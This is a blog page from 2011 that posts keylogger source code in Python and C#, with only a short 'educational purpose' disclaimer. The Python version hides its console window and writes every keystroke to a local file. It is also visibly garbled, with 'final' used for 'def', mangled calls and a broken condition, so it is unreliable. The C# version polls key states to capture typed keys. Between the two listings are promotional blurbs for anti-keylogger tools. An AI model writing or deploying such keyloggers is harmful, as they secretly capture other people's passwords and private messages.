Showing posts with label Keyloggers. Show all posts
Showing posts with label Keyloggers. Show all posts

Sunday, April 24, 2011

Key Logger Code in python

This is only for educational purpose , i am not responsible for any kind of things ..


import WIN32API
import win32console
import win32gui

import pythoncom, pyHook

win32console.GetConsoleWindow win = ()
win32gui.ShowWindow (win, 0)

final OnKeyboardEvent (event):
if event.Ascii == 5:
_exit (1)

if event.Ascii! = 0 or 8:
f = open ( 'c: \ output.txt', 'r')
buffer = f.read ()
f.close ()
f = open ( 'c: \ output.txt', 'w')
keylogs = chr (event.Ascii)
if event.Ascii == 13:
keylogs = '/ n'
buffer + = keylogs
f.write (buffer)
f.close ()

hm = pyHook.HookManager ()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard ()
pythoncom.PumpMessages ()

Protect yourself from keyloggers

Anti Keylogger Shield


Anti Keylogger Shield is a powerful, easy to use anti-spy software tool that prohibits operation of keyloggers, known or unknown, professional or custom made. Once installed, Anti Keylogger Shield will run silently in your System Tray, it will block the system mechanisms that are exploited by keyloggers, and will immediately start protecting your privacy. With Anti Key logger shield you can hide and protect your keystrokes from prying eyes.





Keep your Keystrokes PRIVATE!   


Keyloggers are small spy programs, that record everything you type on the computer, including documents, emails, user names and passwords, and then either stores this information in a hidden place on your computer or sends it over the Internet to the person who infiltrated it.
Keyloggers can come in many forms, as emails, viruses, Trojan horses; from people who might try to invade your privacy and see what you are typing, or remote hackers, who might want to steel user names and passwords as you type them.

DOWNLOAD


KeyScrambler Personal  2.1.0.1

Firefox Addon


KeyScrambler Personal encrypts your keystrokes at the kernel driver level to protect what you type from keyloggers.

Starting with version 2.0, KeyScrambler protects everything you type into Firefox, including:

* All login forms and dialogs, online shopping, webmail, forums, and more
* The Firefox master password dialog
* URL and search bar
* Other Firefox add-ons and toolbars like RoboForm, Chatzilla, and Sxipper.



How KeyScrambler Works:


When you type on your keyboard, the keys travel along a path within the operating system before it arrives at your browser. Keyloggers plant themselves along this path and observe and record your keystrokes. The collected information is then sent to the criminals who will use it to steal from you.

KeyScrambler defeats keyloggers by encrypting your keystrokes at the keyboard driver level, deep within the operating system. When the encrypted keystrokes reach your browser, KeyScrambler then decrypts them so you see exactly the keys you've typed. Keyloggers can only record the encrypted keys, which are completely indecipherable.

Unlike anti-virus and anti-spyware programs that depend on recognition to remove keyloggers that they know about, KeyScrambler will protect you from both known and unknown keyloggers. What's more, KeyScrambler provides protection without getting in your way. You don't have anything to learn about the program and you don't have to do anything differently, but with KeyScrambler your important personal information will be a whole lot safer.

Saturday, April 16, 2011

Key logger in C#

This is the keylogger code which i have coded

Source code :-




using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using System.Windows.Forms;
using System.Runtime.InteropServices;

public class KeyLog
{
    //-> Declare GetAsyncKeyState().
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(Keys vKey); //To check the current status of a virtual key.
    [DllImport("user32.dll")]
    private static extern short GetAsyncKeyState(Int32 vKey); //To check the current status of a virtual key.
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Keys vKey); //To check if a key is currently toggled (on/off).
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Int32 vKey); //To check if a key is currently toggled (on/off).

    //-> getKey() checks what keys have been pressed and returns the pressed keys, if any.
    //-> Otherwise, returns null.
    //-> The pressed keys are returned in a List<string> as (string)char/key name.
    public List<string> getKey()
    {
        List<string> myKeys = new List<string>(); //Declare the list of keys as int.
        for (int i = 0; i <= 255; i++) //Go through all key codes to check if any key is pressed.
        {
            int j = GetAsyncKeyState(i); //Get state of key i.
            if (j == -32767) //Check if key is pressed.
            {
                if (i >= 65 && i <= 122) //From char 65 to 122
                {
                    if (ShiftKey && CapsLock) //If Shift and CapsLock are toggled.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                    else if (ShiftKey) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else if (CapsLock) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else //Any other situation.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                }
                else if (i >= 48 && i <= 57) //From char 48 to 57
                {
                    if (ShiftKey) //If Shift is toggled.
                        myKeys.Add(((char)(i - 16)).ToString()); //Symbols.
                    else //If Shift is not toggled.
                        myKeys.Add(((char)(i)).ToString()); //Numbers.
                }
                else
                    myKeys.Add(Enum.GetName(typeof(Keys), i)); //Any other situation.

                //Check keys toggled
                if (ShiftKey && !(myKeys.Contains(Keys.ShiftKey.ToString())))
                    myKeys.Add(Keys.ShiftKey.ToString()); //Add 'ShiftKey' if enabled.
                if (ShiftKeyL && !(myKeys.Contains(Keys.LShiftKey.ToString())))
                    myKeys.Add(Keys.LShiftKey.ToString()); //Add 'LShiftKey' if enabled.
                if (ShiftKeyR && !(myKeys.Contains(Keys.RShiftKey.ToString())))
                    myKeys.Add(Keys.RShiftKey.ToString()); //Add 'RShiftKey' if enabled.
                if (ControlKey && !(myKeys.Contains(Keys.ControlKey.ToString())))
                    myKeys.Add(Keys.ControlKey.ToString()); //Add 'ControlKey' if enabled.
                if (ControlKeyL && !(myKeys.Contains(Keys.LControlKey.ToString())))
                    myKeys.Add(Keys.LControlKey.ToString()); //Add 'LControlKey' if enabled.
                if (ControlKeyR && !(myKeys.Contains(Keys.RControlKey.ToString())))
                    myKeys.Add(Keys.RControlKey.ToString()); //Add 'RControlKey' if enabled.
                if (AltKey && !(myKeys.Contains(Keys.Menu.ToString())))
                    myKeys.Add(Keys.Menu.ToString()); //Add 'Menu' (Alt key) if enabled.
                if (AltKeyL && !(myKeys.Contains(Keys.LMenu.ToString())))
                    myKeys.Add(Keys.LMenu.ToString()); //Add 'LMenu' if enabled.
                if (AltKeyR && !(myKeys.Contains(Keys.RMenu.ToString())))
                    myKeys.Add(Keys.RMenu.ToString()); //Add 'RMenu' if enabled.
                if (CapsLock && (!(myKeys.Contains(Keys.CapsLock.ToString())) && !(myKeys.Contains(Keys.CapsLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.CapsLock.ToString() + "[Enabled]"); //Add 'CapsLock[Enabled]' if enabled.
                if (NumLock && (!(myKeys.Contains(Keys.NumLock.ToString())) && !(myKeys.Contains(Keys.NumLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.NumLock.ToString() + "[Enabled]"); //Add 'NumLock' if enabled.
            }
        }

        return myKeys; //Return the list.
    }

    //-> Get keys toogle state (on/off).
    #region Toggles
    public static bool ControlKey
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)); }
    }
    public static bool ControlKeyL
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LControlKey)); }
    }
    public static bool ControlKeyR
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RControlKey)); }
    }
    public static bool ShiftKey
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)); }
    }
    public static bool ShiftKeyL
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LShiftKey)); }
    }
    public static bool ShiftKeyR
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RShiftKey)); }
    }
    public static bool AltKey
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu)); }
    }
    public static bool AltKeyL
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LMenu)); }
    }
    public static bool AltKeyR
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RMenu)); }
    }
    public static bool CapsLock
    {
        get { return Convert.ToBoolean(GetKeyState(Keys.CapsLock)); }
    }
    public static bool NumLock
    {
        get { return Convert.ToBoolean(GetKeyState(Keys.NumLock)); }
    }
    #endregion
}

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Vamshi krishnam raju | Bloggerized by Vamshi krishnam raju - Vamshi krishnam raju | Vamshi krishnam raju